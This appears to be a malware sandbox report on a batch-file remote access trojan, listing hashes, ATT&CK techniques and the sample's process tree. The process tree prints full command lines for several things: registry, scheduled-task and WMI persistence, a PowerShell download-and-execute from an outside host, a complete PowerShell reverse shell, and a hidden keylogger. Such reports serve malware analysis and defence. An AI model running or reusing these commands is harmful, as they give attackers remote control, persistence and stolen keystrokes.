c20a258fcdd5e58d8a0f14425329cb8339a6f1cf38306e25d0cafccdcf913b2e

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:08

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General

Target
rat_build_58909_014224.bat
Size 4KB
Sample260529-12c4csay2j
SHA256 c20a258fcdd5e58d8a0f14425329cb8339a6f1cf38306e25d0cafccdcf913b2e
MD5 01186aadf6f2fb3a00ef45c2198ae198
SHA1 655bbb46731ee7f70f9c3571e9355b0b94ef7d01
SHA512 7f4995583213a89eabcc48f4223545d1d24317c8382a9d773f4813c71df965286cc1491225cddf7ab9810df5be68374be29f845e0c0769dbc7aa0295f2c57259
SSDEEP 96:ePIf5Wf8hQr7z1ypaH9sOTwDkim5gdjbiFgZk8mvlo1Ipex:ePtf8hOzcaGOYm5QiFgkHlxpW
TLSH
T14EB1F827279B6260C0B0122EDD3338486B5CD5FB1341DE8EBA49CDD41E4CE47AA6D6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_58909.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4964	powershell.exe
5596	powershell.exe
5604	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_58909 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_58909.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5128	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5184	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
800	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4996	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5596	powershell.exe
5596	powershell.exe
5604	powershell.exe
5604	powershell.exe
4964	powershell.exe
4964	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1596	WMIC.exe
Token: SeSecurityPrivilege	1596	WMIC.exe
Token: SeTakeOwnershipPrivilege	1596	WMIC.exe
Token: SeLoadDriverPrivilege	1596	WMIC.exe
Token: SeSystemProfilePrivilege	1596	WMIC.exe
Token: SeSystemtimePrivilege	1596	WMIC.exe
Token: SeProfSingleProcessPrivilege	1596	WMIC.exe
Token: SeIncBasePriorityPrivilege	1596	WMIC.exe
Token: SeCreatePagefilePrivilege	1596	WMIC.exe
Token: SeBackupPrivilege	1596	WMIC.exe
Token: SeRestorePrivilege	1596	WMIC.exe
Token: SeShutdownPrivilege	1596	WMIC.exe
Token: SeDebugPrivilege	1596	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1596	WMIC.exe
Token: SeRemoteShutdownPrivilege	1596	WMIC.exe
Token: SeUndockPrivilege	1596	WMIC.exe
Token: SeManageVolumePrivilege	1596	WMIC.exe
Token: 33	1596	WMIC.exe
Token: 34	1596	WMIC.exe
Token: 35	1596	WMIC.exe
Token: 36	1596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1596	WMIC.exe
Token: SeSecurityPrivilege	1596	WMIC.exe
Token: SeTakeOwnershipPrivilege	1596	WMIC.exe
Token: SeLoadDriverPrivilege	1596	WMIC.exe
Token: SeSystemProfilePrivilege	1596	WMIC.exe
Token: SeSystemtimePrivilege	1596	WMIC.exe
Token: SeProfSingleProcessPrivilege	1596	WMIC.exe
Token: SeIncBasePriorityPrivilege	1596	WMIC.exe
Token: SeCreatePagefilePrivilege	1596	WMIC.exe
Token: SeBackupPrivilege	1596	WMIC.exe
Token: SeRestorePrivilege	1596	WMIC.exe
Token: SeShutdownPrivilege	1596	WMIC.exe
Token: SeDebugPrivilege	1596	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1596	WMIC.exe
Token: SeRemoteShutdownPrivilege	1596	WMIC.exe
Token: SeUndockPrivilege	1596	WMIC.exe
Token: SeManageVolumePrivilege	1596	WMIC.exe
Token: 33	1596	WMIC.exe
Token: 34	1596	WMIC.exe
Token: 35	1596	WMIC.exe
Token: 36	1596	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeSecurityPrivilege	920	WMIC.exe
Token: SeTakeOwnershipPrivilege	920	WMIC.exe
Token: SeLoadDriverPrivilege	920	WMIC.exe
Token: SeSystemProfilePrivilege	920	WMIC.exe
Token: SeSystemtimePrivilege	920	WMIC.exe
Token: SeProfSingleProcessPrivilege	920	WMIC.exe
Token: SeIncBasePriorityPrivilege	920	WMIC.exe
Token: SeCreatePagefilePrivilege	920	WMIC.exe
Token: SeBackupPrivilege	920	WMIC.exe
Token: SeRestorePrivilege	920	WMIC.exe
Token: SeShutdownPrivilege	920	WMIC.exe
Token: SeDebugPrivilege	920	WMIC.exe
Token: SeSystemEnvironmentPrivilege	920	WMIC.exe
Token: SeRemoteShutdownPrivilege	920	WMIC.exe
Token: SeUndockPrivilege	920	WMIC.exe
Token: SeManageVolumePrivilege	920	WMIC.exe
Token: 33	920	WMIC.exe
Token: 34	920	WMIC.exe
Token: 35	920	WMIC.exe
Token: 36	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 4996	3128	cmd.exe	81
PID 3128 wrote to memory of 800	3128	cmd.exe	82
PID 3128 wrote to memory of 1596	3128	cmd.exe	83
PID 3128 wrote to memory of 920	3128	cmd.exe	84
PID 3128 wrote to memory of 2368	3128	cmd.exe	85
PID 3128 wrote to memory of 5184	3128	cmd.exe	87
PID 3128 wrote to memory of 5128	3128	cmd.exe	90
PID 3128 wrote to memory of 5596	3128	cmd.exe	91
PID 3128 wrote to memory of 5604	3128	cmd.exe	92
PID 3128 wrote to memory of 4964	3128	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_58909_014224.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_58909" /tr "C:\Users\Admin\AppData\Local\Temp\_58909.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4996
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_58909" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_58909.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:800
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_58909", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_58909", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_58909.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_58909.txt
  2⤵
  PID:2368
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5184
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_58909.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 381f96e2fbc549165a280976da233e5291194b2980272147efe486a8be82a003
MD5 e0ab771eef03d6ca7edf9c4ecf4b9885
SHA1 b125a0acb93e6d77eae87b48083356ae5dcf5b76
SHA512 0f3b3cb903c1d0bea8a5f7f3153de800d99c67aed10a8a8136309eefd6d0ec8ea9d994522c23abfc58d4533ece7bd851b08757db19f6ba1964e81614238c955a
TLSH
T14551CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 65b913071eb7b41238d8136977e8a7795c78c1dc4b86648e3db1f2ee3085f2b6
MD5 22bd6c3dd3c60c46d9e887845b2e8d0f
SHA1 70f8af6afa2c076416c0cefef365b3ac1dbcdc12
SHA512 80cb92f193c678c762e55a5943e388cfcebcd7e70d8f5cf2d29b926f5f1c056597ef64429b75f4774caa527de7d97aa8236a9b1721fb22672e795f8a9c9c4178
TLSH
T127117A33B39CC135C8D9117A10CDAD01B2B4C3DB04AEDE8B7A84C509E57F48ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qg0hnexs.pwk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qg0hnexs.pwk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5596-9-0x0000017B67E90000-0x0000017B67EB2000-memory.dmp

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